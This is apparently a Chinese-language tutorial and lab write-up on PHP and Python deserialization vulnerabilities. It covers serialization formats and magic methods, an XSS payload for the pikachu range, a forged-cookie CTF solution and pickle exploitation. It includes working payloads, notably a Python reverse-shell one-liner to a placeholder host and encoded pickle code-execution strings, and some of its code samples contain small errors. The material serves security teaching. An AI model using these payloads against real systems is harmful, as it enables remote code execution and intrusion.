0x01 漏洞概述
序列化:序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
<meta charset='UTF-8' /> <?php show_source(__FILE__); //高亮显示文件内容,__FILE__为php中的文件常量 class ab{ //class 类名 var $test ='123'; //$test=123 变量的赋值,var为数据类型 } $class = new a; //初始化对象 $class1_ser = serialize($class1); print_r("<br />".$class1_ser); ?>
不止对象,数组、变量均可以序列化。
反序列化:序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
漏洞成因
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
漏洞可能出现的位置
解析认证token、session的位置 将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等 将对象序列化后在网络中传输,如传输json数据,xml数据等 参数传递给程序 使用RMI协议,被广泛使用的RMI协议完全基于序列化 使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等 定义协议用来接收与发送原始的java对象
漏洞原理
在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。反序列化特点
php在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾,这会造成随便在序列化数据后添加一些无用字符,反序列化的时候也会被忽略,因为遇到了;}会忽略后面的字符; unserialize根据长度判断内容,长度不对应的时候会报错; 可以反序列化类中不存在的元素。
函数解析
序列化:serialize()函数
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表对象名字长度为一个字符 (即“S”) S:对象的名称 1:代表对象里面有一个变量 s:数据类型 (string 字符串) 4:变量名称的长度 test:变量名称 s:数据类型 (pikachu 同样为字符串string) 7:变量值的长度 pikachu:变量值
对于对象,序列化后的格式为:
O:strlen(类名长度):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
其他类型的数据序列化后的格式为:
String类型 :s:size:value Integer类型 :i:value Boolean类型 :b:value (保存1或0) Null型 :N Array :a:size:{keydefinition;value definition}
还有需要注意的点是:分割不同字段}结尾,这对反序列化很重要
反序列化 :unserialize()函数就是把被序列化的字符串还原为对象,转换为php的值,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题.魔术方法1.魔术方法:自动触发的函数。【满足条件自动触发】2.很多开发不写底层,下载一个框架就拿来用,或者CMS改一改, 他们在开发的时候很多时候并不清楚底层的魔术方法和函数有哪些,为了开发方便都会写一起。
常见的几个魔法函数: //不同场景下被自动调用 __construct()当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的。(构造函数) __destruct()当对象被销毁时会自动调用。(析构函数) __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup() 在反序列化时立即被调用
漏洞举例: class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销毁时,则下面的操作会被自动执行 } } $s = $_GET['test']; @$unser = unserialize($a); payload【有效攻击负载,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码】:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
0x02 漏洞实验
反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台检测到会对内容进行反序列化,则通过反序列化的接口造成XSS漏洞【XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页,插入恶意脚本,从而控制用户浏览的一种攻击。】
1.pikachu靶场练习
反序列化漏洞一般需要代码审计来进行测试,扫描或者黑盒测试【在测试时,把程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况下,测试者在程序接口进行测试,它只检查程序功能是否按照需求规格说明书的规定正常使用,程序是否能适当地接收输入数据而产生正确的输出信息,并且保持外部信息(如数据库或文件)的完整性,】很难发现这个漏洞。
源码:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,来点劲爆点儿的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?>
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
变量$s从url中test参数获取到内容,并且在反序列化的时候通过__destruct()直接将传入的数据(恶意的javascript)不经过任何处理,echo出来,这里就构造了xss漏洞。当脚本结束运行时,所有的对象都会销毁,就会自动调用__destruct方法。我们输入正确的反序列化的payload内容,则会弹出xss窗口。
2.靶场练习
<?php Class readme{ public function __toString() //__toString():echo打印对象体时会直接调用 { return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:定义了变量source,但是没有赋值 } } if(isset($_GET['source'])){ $s = new readme(); $s->source = __FILE__; //给变量source赋值__FILE__ echo $s; //$s->source = flag.php才会得到flag exit; } //$todos = []; if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; //$c=$h.$m $h = substr($c, 0, 32); //字符串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c $m = substr($c, 32); //字符串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}} if(md5($m) === $h){ $todos = unserialize($m); //因为下面$todos为数组输出,因此,反序列化后的$m也应该为数组 } } cookie传参:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}} if(isset($_POST['text'])){ $todo = $_POST['text']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie('todos', $h.$m); header('Location: '.$_SERVER['REQUEST_URI']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> //$todos为数组,foreach遍历数组 <li><?=$todo?></li> // <?php echo$todo; ?> <?php endforeach;?> </ul> <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form>
1.cookie传参为todos=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}},但因为是cookie传参,所以需要进行url编码,【Cookie 和 GET 一样,传参需要URL编码(burp 不会自动编码)】最终为
e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d。
2.抓取的数据包是进入靶场后直接刷新页面的数据包。
放包后即可得到flag。
3.Python反序列化漏洞实验
Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle,如果失败,再导入pickle模块。
pickle的应用场景一般有以下几种:
在解析认证token,session的时候; (尤其web中使用的redis、mongodb、memcached等来存储session等状态信息) 将对象Pickle后存储成磁盘文件; 将对象Pickle后在网络中传输。
用法
pickle 具有两个重要的函数:
一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数,把数据对象以特定的格式保存到给定的文件中; 另一个函数是load(),作用是从文件中取出已保存的对象,pickle 知道如何恢复这些对象到他们本来的格式。
使用方式如下:
pickle.dump(obj, file, protocol=None, *, fix_imports=True) //输出为文件对象 pickle.dumps(obj, protocol=None, *, fix_imports=True) //输出为 bytes 对象 pickle.load(file) // load参数是文件句柄 pickle.loads(file) // loads参数是字符串
漏洞复现
本地命令执行
写一个最简单的demo环境,用户输入文件后使用pickle.load方法进行反序列化:
生成payload,定义执行calc命令的类,使用dumps方法进行序列化并输出到poc.pickle中:
执行此payload:
模拟实现一个更为真实的web环境,取路径中的参数后使用cPickle.loads方法反序列化:
将刚才生成的payload进行url编码,请求:
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.
任意代码执行(任意函数构造)
将上述的calc改为下面的字符串可实现反弹shell:
python-c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这种通过-c参数只能执行相对简单的代码,如果出现了一些自定义函数,要序列化的对象就成了code类型。但是pickle不能序列化code对象,这里简单测试一下:将要执行的代码都写到一个函数里foo(),尝试反序列化代码对象:
问题解决:从python2.6起,包含了一个可以序列化code对象的模块Marshal。由于python可以在函数当中再导入模块和定义函数,故可以将自己要执行的代码都写到一个函数foo()里:
得到payload:
http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.
更多payload:
https://github.com/sensepost/anapickle